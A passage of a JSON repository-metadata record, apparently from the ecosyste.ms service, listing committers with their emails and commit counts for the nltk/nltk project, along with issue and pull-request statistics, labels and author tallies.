Mhadnak","email":"siddhesh.mhadnak@outlook.com","login":"sid-maddy","count":1},{"name":"Siddhant Saraf","email":"siddhantsaraf@gmail.com","login":"Siddhant","count":1},{"name":"Shuvam Shah","email":"44120980+shvms","login":"shvms","count":1},{"name":"Saud","email":"34000860+SaudKadiri","login":"SaudKadiri","count":1},{"name":"Samuel Larkin","email":"Samuel.Larkin@cnrc-nrc.gc.ca","login":"SamuelLarkin","count":1},{"name":"Samer Masterson","email":"samer@harvey.ai","login":"samertm","count":1},{"name":"Saibo-creator","email":"53392976+Saibo-creator","login":"Saibo-creator","count":1},{"name":"Ron U","email":"sharpblade4@gmail.com","login":"sharpblade4","count":1},{"name":"Rohit Kumar","email":"rohit970819@gmail.com","login":"aquatiko","count":1},{"name":"Subhodeep Moitra","email":"subhodeep.moitra@gmail.com","login":"smoitra87","count":1},{"name":"Thanh Ha","email":"thanh.ha@linuxfoundation.org","login":"zxiiro","count":1},{"name":"Tim Gates","email":"tim.gates@iress.com","login":"timgates42","count":1},{"name":"Ubuntu","email":"azureuser@ihita-devserver.z3qp3mdyt5yevgouhbtfju2exb.bx.internal.cloudapp.net","login":null,"count":1},{"name":"yanlend","email":"yanlend@web.de","login":null,"count":1},{"name":"vagrant","email":"vagrant@precise32.(none)","login":null,"count":1},{"name":"onesandzeroes","email":"onesandzeroes@golgotha.com","login":null,"count":1},{"name":"mheilman","email":"mheilman@cmu.edu","login":null,"count":1},{"name":"colin","email":"colin@kensho.com","login":null,"count":1},{"name":"alvarob96","email":"alvarob96@usal.es","login":null,"count":1},{"name":"Yiğit Sever","email":"yigit.sever@tedu.edu.tr","login":null,"count":1},{"name":"eltermann","email":"felipe.eltermann@gmail.com","login":"eltermann","count":1},{"name":"eromoe","email":"eromoe","login":"eromoe","count":1},{"name":"germanferrero","email":"germanferrero","login":"germanferrero","count":1},{"name":"haosenwang1018","email":"167664334+haosenwang1018","login":"haosenwang1018","count":1},{"name":"jmhutch","email":"j@splatlabs.com","login":"adifinem","count":1},{"name":"knkumar","email":"krankumar@gmail.com","login":"knkumar","count":1},{"name":"kobikun","email":"byeongil.ko@gmail.com","login":"kobikun","count":1},{"name":"manujosephv","email":"manujosephv@gmail.com","login":"manujosephv","count":1},{"name":"mattjdelia","email":"mattjdelia@gmail.com","login":"mattjdelia","count":1},{"name":"mohaned mashaly","email":"mohaned_boss@outlook.com","login":"mohanedmashaly21","count":1},{"name":"nickgarvey","email":"garvey.nick@gmail.com","login":"nickgarvey","count":1},{"name":"nsfabina","email":"nicholas.fabina@gmail.com","login":"nsfabina","count":1},{"name":"pfeyz","email":"paul.feitzinger@gmail.com","login":"pfeyz","count":1},{"name":"prpfialho","email":"prpfialho","login":"prpfialho","count":1},{"name":"redsk","email":"nbova@inf.ed.ac.uk","login":"ESSENCE-network","count":1},{"name":"richardyy1188","email":"richardyy1188@gmail.com","login":"richarddwang","count":1},{"name":"rubencart","email":"ruben.cartuyvels@gmail.com","login":"rubencart","count":1},{"name":"saurav kumar","email":"saurav24007@gmail.com","login":"Lightyagami1","count":1},{"name":"tingletech","email":"brian.tingle.cdlib.org@gmail.com","login":"tingletech","count":1},{"name":"ulhaqi12","email":"ulhaqi12@gmail.com","login":"ulhaqi12","count":1},{"name":"unknown","email":"yzhaoinuw@gmail.com","login":"yzhaoinuw","count":1},{"name":"usami","email":"yusmi05@gmail.com","login":"usami","count":1},{"name":"venticello","email":"omnisens@gmail.com","login":"ventice","count":1},{"name":"veralara.bernhard","email":"veralara.bernhard@uzh.ch","login":"vera-bernhard","count":1},{"name":"xmcgcg","email":"xmcgcg@qq.com","login":"xmcgcg","count":1},{"name":"yannzhao","email":"yannzhao.ed@gmail.com","login":"zhaoyanpeng","count":1},{"name":"ymfa","email":"fangyimai@gmail.com","login":"ymfa","count":1},{"name":"Badri","email":"badri.dilbert@gmail.com","login":"badri","count":1},{"name":"AlokDebnath","email":"AlokDebnath@github.com","login":null,"count":1},{"name":"Tim Gianitsos","email":"timgianitsos","login":"timgianitsos","count":1},{"name":"Tim McNamara","email":"code@timmcnamara.co.nz","login":"timClicks","count":1},{"name":"Tim Stewart","email":"tim@texastim.dev","login":"timoteostewart","count":1},{"name":"Tom Conroy","email":"tconroy","login":"tconroy","count":1},{"name":"Tom Mortimer-Jones","email":"tom@morty.co.uk","login":"morty","count":1},{"name":"Tyler Sheaffer","email":"ty.sheaffer@gmail.com","login":"tsheaff","count":1},{"name":"Michelle Fullwood","email":"michelle.fullwood@gmail.com","login":"michelleful","count":1},{"name":"himkt","email":"himkt@klis.tsukuba.ac.jp","login":"himkt","count":1},{"name":"Unknown","email":"vivekscl5@gmail.com","login":"vivekscl","count":1},{"name":"Will Roberts","email":"wildwilhelm@gmail.com","login":"wroberts","count":1},{"name":"William LaCroix","email":"94390768+WilliamPLaCroix","login":"WilliamPLaCroix","count":1},{"name":"Xinyuan Liu","email":"lxy_pku@qq.com","login":"xinyuan-liu","count":1},{"name":"Yannick Couzinié","email":"yc1106@gmx.de","login":"yannick-couzinie","count":1},{"name":"Yeting Li","email":"liyt@ios.ac.cn","login":"yetingli","count":1},{"name":"Yorwba","email":"yorwb4@gmail.com","login":"Yorwba","count":1},{"name":"Ziyaddin Sadigov","email":"ziyaddinsadigov@gmail.com","login":"ziyaddin","count":1},{"name":"Ziyao Wei","email":"ziyao.wei.wzy@gmail.com","login":"ZiyaoWei","count":1},{"name":"ali-abdullah","email":"dralen101@gmail.com","login":"ali-abdullah","count":1},{"name":"anantvir","email":"anantvir91@gmail.com","login":"anantvir","count":1},{"name":"anonymityBoy","email":"81273096+anonymityBoy","login":"anonymityBoy","count":1},{"name":"avena554","email":"antoine.venant@gmail.com","login":"avena554","count":1},{"name":"bhagyeshworld","email":"bhagyeshworld@yahoo.com","login":"bhagyeshworld","count":1},{"name":"cestwc","email":"80936226+cestwc","login":"cestwc","count":1},{"name":"codeflash-ai[bot]","email":"148906541+codeflash-ai[bot]","login":"codeflash-ai[bot]","count":1},{"name":"cootshk","email":"83678457+cootshk","login":"cootshk","count":1},{"name":"dsfcode","email":"fowler.dn@gmail.com","login":"dan-sf","count":1},{"name":"eidheim","email":"eidheim@gmail.com","login":"eidheim","count":1},{"name":"Carlos H Brandt","email":"482051+chbrandt","login":"chbrandt","count":1},{"name":"Cat Lee Ball","email":"43632885+catleeball","login":"catleeball","count":1},{"name":"Ceri Stagg","email":"ceristaggbusiness@gmail.com","login":"CPStagg","count":1},{"name":"Chislov Oleg","email":"chislov.oleg@yahoo.com","login":"e5pecial","count":1},{"name":"Chris Inskip","email":"chrisji@hotmail.co.uk","login":"chrisji","count":1},{"name":"Christopher Pfohl","email":"Christopher.Pfohl@gmail.com","login":"Crisfole","count":1},{"name":"Colin","email":"ColCarroll","login":"ColCarroll","count":1},{"name":"Colorado Reed","email":"colorado.j.reed@gmail.com","login":"cjrd","count":1},{"name":"Constantin Weisser","email":"weisser@mit.edu","login":"weissercn","count":1},{"name":"Cristian Capdevila","email":"ccapdevi@utk.edu","login":"capdevc","count":1},{"name":"Daksh Shah","email":"daksh17336@iiitd.ac.in","login":"Daksh","count":1},{"name":"Dalton Pearson","email":"32880838+daltonpearson","login":"daltonpearson","count":1},{"name":"Daniel Loney","email":"14361282+DanielLoney","login":"DanielLoney","count":1},{"name":"Darsh Gandhi","email":"32832454+darshmgandhi","login":"darshmgandhi","count":1},{"name":"David Madl","email":"git@abanbytes.eu","login":"cidermole","count":1},{"name":"Denis Kataev","email":"bteamko@gmail.com","login":"kataev","count":1},{"name":"Denis Krusko","email":"kruskod@gmail.com","login":"inteldict","count":1},{"name":"Dennis O'Brien","email":"dennis@dennisobrien.net","login":"dennisobrien","count":1},{"name":"Dougal J. Sutherland","email":"dougal@gmail.com","login":"djsutherland","count":1},{"name":"Drew Miller","email":"drew.robert.miller@gmail.com","login":"drewmiller","count":1},{"name":"Jose Cols","email":"josecolsg@gmail.com","login":"josecols","count":1},{"name":"Ayushk4","email":"ayushk4@gmail.com","login":"Ayushk4","count":1},{"name":"Duy Nguyen","email":"zuik","login":"zuik","count":1},{"name":"Edge-Seven","email":"143301646+Edge-Seven","login":"Edge-Seven","count":1},{"name":"Edward Loper","email":"edloper@gmail.com","login":"edloper","count":1},{"name":"Eeshita Biswas","email":"biswas@udel.edu","login":"EeshitaBiswas","count":1},{"name":"Eric Kow","email":"eric.kow@gmail.com","login":"kowey","count":1},{"name":"Franklin Chen","email":"franklinchen@franklinchen.com","login":"FranklinChen","count":1},{"name":"Amy Zhou","email":"cadaeib@gmail.com","login":"cadaeib","count":1},{"name":"Alireza Nourian","email":"alireza.nournia@gmail.com","login":"nournia","count":1},{"name":"Alexandre Perez-Lebel","email":"33580936+aperezlebel","login":"aperezlebel","count":1},{"name":"Alexander Oleynikov","email":"oleynikovav@yandex-team.ru","login":"tibidoh","count":1},{"name":"Alex Louden","email":"alex@louden.com","login":"alexlouden","count":1},{"name":"Akshita Bhagia","email":"akshita23bhagia@gmail.com","login":"AkshitaB","count":1},{"name":"Adam Hawley","email":"adamhawley99@gmail.com","login":"adamjhawley","count":1},{"name":"Abhijnan Bajpai","email":"57059194+Abhijnan-Bajpai","login":"Abhijnan-Bajpai","count":1},{"name":"Abel Soares Siqueira","email":"abel.s.siqueira@gmail.com","login":"abelsiqueira","count":1},{"name":"Abdelhak Bougouffa","email":"abougouffa@cryptolab.net","login":"abougouffa","count":1},{"name":"AbdealiJK","email":"abdealikothari@gmail.com","login":"AbdealiLoKo","count":1},{"name":"0ssifrage","email":"ytytyt13579@gmail.com","login":"0ssifrage","count":1},{"name":"Andrew Bird","email":"andrewbirdemail@gmail.com","login":"andrewbird2","count":1},{"name":"Andrew Drozdov","email":"mrdrozdov","login":"mrdrozdov","count":1},{"name":"Andrew Ernest Ritz","email":"drewvid","login":"drewvid","count":1},{"name":"Andrew Jorgensen","email":"ajorgens@amazon.com","login":"ajorg-aws","count":1},{"name":"Andy Craze","email":"accraze@gmail.com","login":"accraze","count":1},{"name":"Andy Reagan","email":"github@andyreagan.com","login":"andyreagan","count":1},{"name":"Anthony Sottile","email":"asottile@umich.edu","login":"asottile","count":1},{"name":"Antonio Mika","email":"antoniomika@gmail.com","login":"antoniomika","count":1},{"name":"Armin Stepanjan","email":"ab-10","login":"ab-10","count":1},{"name":"Asish Mahapatra","email":"asishkm@gmail.com","login":"asishm","count":1},{"name":"BatMrE","email":"48859022+BatMrE","login":"BatMrE","count":1},{"name":"Bharat123rox","email":"bharatraghunthan9767@gmail.com","login":"bharatr21","count":1},{"name":"Bowie Chen","email":"543091+bowiechen","login":"bowiechen","count":1},{"name":"Caden Gobat","email":"36030084+cgobat","login":"cgobat","count":1},{"name":"Cara Leong","email":"heycraa@gmail.com","login":"craaaa","count":1},{"name":"Madnex","email":"lennartz.jan04@gmail.com","login":"Madnex","count":1},{"name":"Malinda","email":"malinda.dilhara@gmail.com","login":"maldil","count":1},{"name":"Marc Hernandez Cabot","email":"noviluni@gmail.com","login":"noviluni","count":1},{"name":"Margaret Mitchell","email":"itallow@gmail.com","login":"mmitchellai","count":1},{"name":"Matt Miller","email":"Matt.Miller@BibleStudy.tools","login":"BroMattMiller","count":1},{"name":"Matěj Cepl","email":"mcepl@cepl.eu","login":"mcepl","count":1},{"name":"Michael","email":"michael.bauwens@ucll.be","login":"mbauwens","count":1},{"name":"Michał Górny","email":"mgorny@gentoo.org","login":"mgorny","count":1},{"name":"John Vandenberg","email":"jayvdb@gmail.com","login":"jayvdb","count":1},{"name":"Mike014","email":"mikgrimaldi7@gmail.com","login":"Mike014","count":1},{"name":"Min ho Kim","email":"minho42@gmail.com","login":"minho42","count":1},{"name":"MohamedAlFahim","email":"31521089+MohamedAlFahim","login":"MohamedAlFahim","count":1},{"name":"Mr-Neutr0n","email":"64578610+Mr-Neutr0n","login":"Mr-Neutr0n","count":1},{"name":"Myle Ott","email":"myleott@gmail.com","login":"myleott","count":1},{"name":"Nantas Nardelli","email":"nantas.nardelli@gmail.com","login":"edran","count":1},{"name":"Nathan McDougall","email":"nathan.j.mcdougall@gmail.com","login":"nathanjmcdougall","count":1},{"name":"Nelson Liu","email":"nelson-liu","login":"nelson-liu","count":1},{"name":"Omer Duskin","email":"omerd@gigaspaces.com","login":"dusking","count":1},{"name":"OpenRefactory, Inc","email":"56681071+openrefactory","login":"openrefactory","count":1},{"name":"Or Sharir","email":"or+github@sharir.org","login":"orsharir","count":1},{"name":"Owen Haynes","email":"mad0house@gmail.com","login":"owenhaynes","count":1},{"name":"Oyesh Mann Singh","email":"oyeshsin@hotmail.com","login":"oya163","count":1},{"name":"Panagiotis Simakis","email":"sp1thas@autistici.org","login":"sp1thas","count":1},{"name":"Pascal Hartig","email":"phartig@rdrei.net","login":"passy","count":1},{"name":"Pavan Joshi","email":"pavan01121994@gmail.com","login":"PavanGJ","count":1},{"name":"Peter","email":"pollak.peter89@gmail.com","login":"Syzygy2048","count":1},{"name":"Philippe","email":"ppartarr@outlook.com","login":"ppartarr","count":1},{"name":"Piet Delport","email":"piet@praekelt.com","login":"piet-praekelt","count":1},{"name":"Carl Friedrich Bolz","email":"cfbolz@gmx.de","login":"cfbolz","count":1},{"name":"Fábio Silva","email":"fabio.fernando.osilva@gmail.com","login":"ffosilva","count":1},{"name":"G","email":"20539361+p9f","login":"p9f","count":1},{"name":"Gavish Poddar","email":"gavishpoddar@hotmail.com","login":"gavishpoddar","count":1},{"name":"Guilherme Nardari","email":"guivnz@gmail.com","login":"gnardari","count":1},{"name":"Guthrie Armstrong","email":"guthrie.armstrong@gmail.com","login":"gmarmstrong","count":1},{"name":"Hiroaki Hayashi","email":"hiroakihayash88@gmail.com","login":"rooa","count":1},{"name":"Hiroki Teranishi","email":"chantera","login":"chantera","count":1},{"name":"Hk-tang","email":"hktang@ualberta.ca","login":"Hk-tang","count":1},{"name":"Hoyeol Kim","email":"elibooklover@gmail.com","login":"elibooklover","count":1},{"name":"Hugo van Kemenade","email":"hugovk","login":"hugovk","count":1},{"name":"Iaroslav Tymchenko","email":"niwaniwatorigairu@gmail.com","login":"myproblemchild","count":1},{"name":"Igor Korolev","email":"missterr@gmail.com","login":"ikorolev93","count":1},{"name":"Ivan Barria","email":"ibarria0@gmail.com","login":"ibarria0","count":1},{"name":"Izam Mohammed","email":"106471909+izam-mohammed","login":"izam-mohammed","count":1},{"name":"James Huang","email":"hng.jms@gmail.com","login":"james-huang","count":1},{"name":"Jim Regan","email":"joregan@gmail.com","login":"jimregan","count":1},{"name":"Joseph Lynch","email":"jolynch@mit.edu","login":"jolynch","count":1},{"name":"Julian Arni","email":"jkarni@gmail.com","login":"jkarni","count":1},{"name":"Krupa Hebbar","email":"krupa.hebbar@gmail.com","login":"KrupaH","count":1},{"name":"Kyriakos Georgiou","email":"kgeorgiou","login":"kgeorgiou","count":1},{"name":"LU Chunliang","email":"aptenom@gmail.com","login":"cllu","count":1},{"name":"Lenz Furrer","email":"en-dash","login":"en-dash","count":1},{"name":"Louis Tiao","email":"ltiao","login":"ltiao","count":1},{"name":"Louis-Justin TALLOT","email":"72044417+LouisJustinTALLOT","login":"LouisJustinTALLOT","count":1},{"name":"Lyndon White","email":"oxinabox@ucc.asn.au","login":"oxinabox","count":1},{"name":"M.K. Pawelkiewicz mkpawelk@gmail.com","email":"mkpawelk@gmail.com","login":"hamiltonianflow","count":1},{"name":"Maarten ter Huurne","email":"maarten@treewalker.org","login":"mthuurne","count":1}],"past_year_committers":[{"name":"Eric Kafe","email":"kafe@megadoc.net","login":"ekaf","count":97},{"name":"natgillin","email":"alvations@gmail.com","login":"alvations","count":50},{"name":"hyperps","email":"psarvesh129@gmail.com","login":"HyperPS","count":35},{"name":"Steven Bird","email":"stevenbird1@gmail.com","login":"stevenbird","count":15},{"name":"Emily Voss","email":"github@emilyvoss.dev","login":"PastelStorm","count":12},{"name":"purificant","email":"purificant","login":"purificant","count":11},{"name":"smithct2","email":"christopher.t.smith@leidos.com","login":"smithct2","count":11},{"name":"Shivansh Sharma","email":"157245723+Shivansh-Game","login":"Shivansh-Game","count":8},{"name":"asrelo","email":"syrslava@yandex.ru","login":"asrelo","count":4},{"name":"MrMarvel [S30]","email":"24212110+MrMarvel","login":"MrMarvel","count":4},{"name":"Christian Clauss","email":"cclauss@me.com","login":"cclauss","count":3},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":3},{"name":"hyperps","email":"sarvesharmy6809@gmail.com","login":"hyperps1","count":2},{"name":"ryanamannion","email":"ram321@georgetown.edu","login":"ryanamannion","count":2},{"name":"ylwango613","email":"1217816127@qq.com","login":"ylwango613","count":2},{"name":"Bowie Chen","email":"543091+bowiechen","login":"bowiechen","count":1},{"name":"Edge-Seven","email":"143301646+Edge-Seven","login":"Edge-Seven","count":1},{"name":"Matěj Cepl","email":"mcepl@cepl.eu","login":"mcepl","count":1},{"name":"Mr-Neutr0n","email":"64578610+Mr-Neutr0n","login":"Mr-Neutr0n","count":1},{"name":"Peter","email":"pollak.peter89@gmail.com","login":"Syzygy2048","count":1},{"name":"haosenwang1018","email":"167664334+haosenwang1018","login":"haosenwang1018","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-04-20T00:00:09.037Z","repositories_count":6214587,"commits_count":900264472,"contributors_count":34915105,"owners_count":1143514,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"nltk/nltk","html_url":"https://github.com/nltk/nltk","last_synced_at":"2026-04-08T01:01:18.302Z","status":"active","issues_count":293,"pull_requests_count":290,"avg_time_to_close_issue":27663240.92215569,"avg_time_to_close_pull_request":10491127.762331838,"issues_closed_count":167,"pull_requests_closed_count":223,"pull_request_authors_count":104,"issue_authors_count":253,"avg_comments_per_issue":3.7133105802047783,"avg_comments_per_pull_request":3.0310344827586206,"merged_pull_requests_count":155,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":36,"past_year_pull_requests_count":81,"past_year_avg_time_to_close_issue":1592398.5714285714,"past_year_avg_time_to_close_pull_request":2549502.214285714,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":42,"past_year_pull_request_authors_count":32,"past_year_issue_authors_count":29,"past_year_avg_comments_per_issue":1.3055555555555556,"past_year_avg_comments_per_pull_request":3.802469135802469,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":1,"past_year_merged_pull_requests_count":26,"created_at":"2023-05-10T11:07:35.591Z","updated_at":"2026-04-08T01:01:18.303Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","issue_labels_count":{"table":{"enhancement":11,"bug":9,"wordnet":9,"corpus":8,"nltk_data":8,"tokenizer":7,"good first issue":7,"SMT":6,"critical":5,"inactive":5,"resolved":5,"tagger":4,"CI":4,"invalid":4,"nice idea":3,"pythonic":3,"documentation":3,"installation":3,"stem/lemma":2,"metrics":2,"tests":2,"pleaseverify":2,"parsing":2,"admin":2,"multithread / multiprocessing":2,"internals":2,"windows related":2,"stanford api":2,"tkinter":1,"classifier":1,"language-model":1,"GUI":1,"plot":1,"performance":1,"python3.7":1,"wontfix":1,"cluster":1,"needs review":1}},"pull_request_labels_count":{"table":{"corpus":43,"tokenizer":34,"CI":30,"tagger":19,"parsing":19,"metrics":18,"GUI":13,"stem/lemma":12,"classifier":12,"critical":8,"enhancement":7,"bug":6,"admin":6,"flag-to-close":5,"LGTM":5,"language-model":4,"internals":4,"sentiment":4,"tests":3,"documentation":2,"nice idea":2,"twitter":2,"cluster":2,"awesome-contribution":2,"wordnet":2,"translate":2,"inactive":1,"cli":1,"needs review":1,"plot":1,"please-revise":1,"dependencies":1,"github_actions":1,"pythonic":1}},"issue_author_associations_count":{"table":{"NONE":243,"CONTRIBUTOR":35,"MEMBER":15}},"pull_request_author_associations_count":{"table":{"NONE":110,"CONTRIBUTOR":110,"MEMBER":70}},"issue_authors":{"table":{"ekaf":13,"alvations":12,"BLKSerene":3,"Sion1225":2,"mcepl":2,"hiDevman":2,"purificant":2,"TomerYS":2,"DavidNemeskey":2,"kloczek":2,"Killpit":2,"shavetakhepra":2,"tomaarsen":2,"asrelo":2,"ExplodingCabbage":2,"slashdottir":2,"jmccrae":2,"LordTT":2,"0xMrNiko":1,"E-Paine":1,"mycar98765":1,"gbunkeri":1,"edmondium":1,"wxz":1,"elialbert":1,"EgodPrime":1,"nilinykh":1,"zaib-shekh":1,"dourouc05":1,"kishthik":1,"hpx502766238":1,"danjac":1,"Amrit413":1,"2hands10fingers":1,"TrinityNe0":1,"chrisemezue":1,"jayvdb":1,"gorj-tessella":1,"guizonatto":1,"janscholich":1,"yosiasz":1,"zhaochenyang20":1,"snoucair":1,"danielafe7-usp":1,"mdabdulrahman":1,"stevenbird":1,"palasso":1,"stanislavlevin":1,"jeev-jo":1,"rafasimionato":1,"sadekh":1,"cesarrodrig":1,"LinAGKar":1,"Scooby6901":1,"kinghuang":1,"NIRA02525":1,"davidam":1,"subhra-ranjan-padhy":1,"abitrolly":1,"Astute98":1,"SesaYash":1,"LifeIsStrange":1,"bijubjs":1,"bittner":1,"otaku0304":1,"gabeorlanski":1,"canfang-feng":1,"Virgilio15":1,"sunddytwo":1,"szotsaki":1,"juhoinkinen":1,"robcaulk":1,"bryant1410":1,"ShradhaJaichand":1,"smithct2":1,"lanzkron":1,"adamrossnelson":1,"ferdnyc":1,"samiBendou":1,"haxkd":1,"neldivad":1,"digantamisra98":1,"anuraged51a":1,"choroba":1,"arendu-zz":1,"drewvid":1,"DS3006":1,"abarkar":1,"altescy":1,"Riya-1403":1,"clashofphish":1,"km5ar":1,"peterbe":1,"tisnik":1,"ndvbd":1,"fcbond":1,"mbauwens":1,"Coldog2333":1,"Bernhard-Steindl":1,"tuetschek":1,"wangruicn":1,"bowenyi-umich":1,"alf1e":1,"JohnJyong":1,"mdebellis":1,"augi":1,"elias-ba":1,"shlomihod":1,"alexrudnick":1,"Alnusjaponica":1,"ruhayat":1,"PanderMusubi":1,"windyowl":1,"zakkie":1,"m-d-grunnill":1,"alcinos":1,"liaochris":1,"godlygeek":1,"daniel-mehta":1,"ikrammohamdi":1,"matthew-z":1,"scruge1":1,"AugustinErnoult":1,"vera-bernhard":1,"lunik1":1,"behunter957":1,"satyrmipt":1,"caexy":1,"f0lie":1,"ryonsteele":1,"amadanmath":1,"Lopa07":1,"beingEniola":1,"naktinis":1,"Dunedan":1,"Bhargav2193":1,"satyammittal":1,"owo":1,"bsolomon1124":1,"TrigonaMinima":1,"jthibaut":1,"imtiaz231":1,"catleeball":1,"cporrasn":1,"Ubadub":1,"woolmaus":1,"abhisri7635":1,"shinkeika":1,"Vitaly-Protasov":1,"nvenkatcivil":1,"oldspammer":1,"Hongao0611":1,"ruoxining":1,"ngingihy":1,"Moustafa1Rizk1":1,"staticdev":1,"ranger-13":1,"SCH227":1,"shrey-gupta-2809":1,"Apros7":1,"Anandrajgit":1,"palfrey":1,"xinzaifeixiang1992":1,"ryanamannion":1,"OmondiVincent":1,"BoFFire":1,"zohiba":1,"markdimi":1,"TheBruh141":1,"ErwinLiYH":1,"maadhur":1,"DuyguA":1,"rid181198":1,"pricoptudor":1,"soras":1,"flaviopereirap5":1,"oxinabox":1,"peronc":1,"destroy-lonely":1,"ShadokDuBas":1,"spiketrap-daniele":1,"etienne-v":1,"iqbaladiatma":1,"abdollahpour":1,"marcevrard":1,"q-l-p":1,"patialashahi31":1,"kvmilos":1,"AldoMaine":1,"HuaYuXiao":1,"RishitAtwal":1,"donglihe-hub":1,"villmow":1,"pradeepdev-1995":1,"matkoniecz":1,"kirupang-code":1,"cafaro":1,"slpminn":1,"ready-research":1,"Dibya069":1,"ulhaqi12":1,"payaljain2003":1,"fpopineau":1,"53X":1,"jeryini":1,"7oda111":1,"LeMoussel":1,"Vonisoa":1,"mpertierra":1,"Swaysigh":1,"pascal-mueller":1,"r9922":1,"maxleonov":1,"ghost":1,"TaniaBladier":1,"BaGRoS":1,"michael-veksler":1,"hwhsu1231":1,"Kalebu":1,"sylee957":1,"basaldella":1,"rj-7":1,"StepHaze":1,"athuljayaram":1,"mrmusta":1,"francoiscap":1,"divyanshluthra":1,"Smeetp1234":1,"goseaplay":1,"zarkua":1,"ravishankar-cloud":1,"nkuehnle":1,"NovikovMS":1,"DomoticaVirginia":1,"Crissium":1,"JocelyneYataco99":1,"hzhwcmhf":1,"srinath116":1,"TortoiseHam":1,"ndo3":1,"mcdominik":1,"zhanghanweii":1,"kellysun98":1,"yzhaoinuw":1,"yonniejon":1,"SamuelSilverio123":1,"JCLengeling":1,"TristanJM":1,"mmmm1998":1,"Razbolt":1,"LuoQuestionmark":1,"Wilscos":1,"trevorjwood":1}},"pull_request_authors":{"table":{"ekaf":70,"purificant":24,"alvations":14,"tomaarsen":12,"HyperPS":10,"Mike014":6,"WilliamPLaCroix":4,"Shazid08":4,"smithct2":3,"Copilot":3,"trevorjwood":2,"antoniomika":2,"emmanuel-ferdman":2,"pdeblanc":2,"GeneralPoxter":2,"dlukes":2,"dmhan321":2,"ivanmilevtues":2,"Hrudhai01":2,"ShadokDuBas":2,"soras":2,"Higgs32584":2,"Jus1311":2,"stefkauf":2,"naktinis":2,"ulhaqi12":2,"wmathias00":2,"devesh-2002":2,"samertm":2,"scruge1":2,"josecols":2,"drewvid":2,"eidheim":2,"SamchenUF":2,"yzhaoinuw":2,"EgodPrime":2,"ethanknights":2,"ashvardanian":2,"ruoxining":2,"strangetom":2,"vera-bernhard":2,"LordTT":2,"tavallaie":2,"BatMrE":2,"timoteostewart":2,"asrelo":2,"bryant1410":2,"asishm":2,"venkat1924":2,"izam-mohammed":2,"cclauss":2,"jeslinpjames":2,"mbauwens":2,"cestwc":2,"ylwango613":2,"Ubadub":2,"ihitamandal":1,"Chomskianoam":1,"cootshk":1,"deepakbhagat7":1,"dependabot[bot]":1,"sgkasselau":1,"alexrudnick":1,"tyomitch":1,"elespike":1,"VirgisM":1,"rmalouf":1,"TiMauzi":1,"Syzygy2048":1,"tosemml":1,"JuanIMartinezB":1,"vivekkalyan":1,"ryanamannion":1,"cgobat":1,"xesci":1,"zakkie":1,"jayvdb":1,"hugovk":1,"CHOOCS":1,"Apros7":1,"askubaid":1,"BroMattMiller":1,"catleeball":1,"NIK-TIGER-BILL":1,"claeusdev":1,"iliakur":1,"sharpblade4":1,"mcepl":1,"vivekscl":1,"GharudxD":1,"LanceBaysa":1,"elias-ba":1,"nathanjmcdougall":1,"xhluca":1,"Sion1225":1,"PastelStorm":1,"haosenwang1018":1,"zizdlp":1,"rishavkumarthapa01-sketch":1,"chbrandt":1,"Muhtasim-Munif-Fahim":1,"MrMarvel":1,"melur-cu":1,"Shivansh-Game":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-04-12T00:00:13.218Z","repositories_count":14216084,"issues_count":34644788,"pull_requests_count":113190015,"authors_count":11232827,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"critical":1}},"past_year_pull_request_labels_count":{"table":{"CI":14,"corpus":12,"tokenizer":9,"tagger":5,"parsing":4,"flag-to-close":4,"metrics":3,"classifier":3,"GUI":2,"github_actions":1,"bug":1,"dependencies":1,"documentation":1,"awesome-contribution":1,"language-model":1,"LGTM":1,"please-revise":1}},"past_year_issue_author_associations_count":{"table":{"NONE":26,"MEMBER":8,"CONTRIBUTOR":2}},"past_year_pull_request_author_associations_count":{"table":{"NONE":39,"MEMBER":27,"CONTRIBUTOR":15}},"past_year_issue_authors":{"table":{"ekaf":7,"asrelo":2,"zohiba":1,"woolmaus":1,"Virgilio15":1,"Swaysigh":1,"smithct2":1,"scruge1":1,"SCH227":1,"samiBendou":1,"ranger-13":1,"purificant":1,"palfrey":1,"mrmusta":1,"LuoQuestionmark":1,"LinAGKar":1,"iqbaladiatma":1,"hwhsu1231":1,"godlygeek":1,"elias-ba":1,"elialbert":1,"EgodPrime":1,"digantamisra98":1,"daniel-mehta":1,"bittner":1,"augi":1,"athuljayaram":1,"Astute98":1,"0xMrNiko":1}},"past_year_pull_request_authors":{"table":{"ekaf":19,"HyperPS":10,"purificant":8,"smithct2":3,"Copilot":3,"alvations":3,"wmathias00":2,"ylwango613":2,"trevorjwood":2,"EgodPrime":2,"cclauss":2,"asrelo":2,"Hrudhai01":2,"ivanmilevtues":2,"scruge1":2,"Shivansh-Game":1,"zizdlp":1,"ryanamannion":1,"rishavkumarthapa01-sketch":1,"PastelStorm":1,"NIK-TIGER-BILL":1,"Muhtasim-Munif-Fahim":1,"MrMarvel":1,"melur-cu":1,"mcepl":1,"LanceBaysa":1,"haosenwang1018":1,"elias-ba":1,"dependabot[bot]":1,"CHOOCS":1,"Chomskianoam":1,"askubaid":1}},"maintainers":[{"table":{"login":"ekaf","count":42,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"}},{"table":{"login":"purificant","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}},{"table":{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaars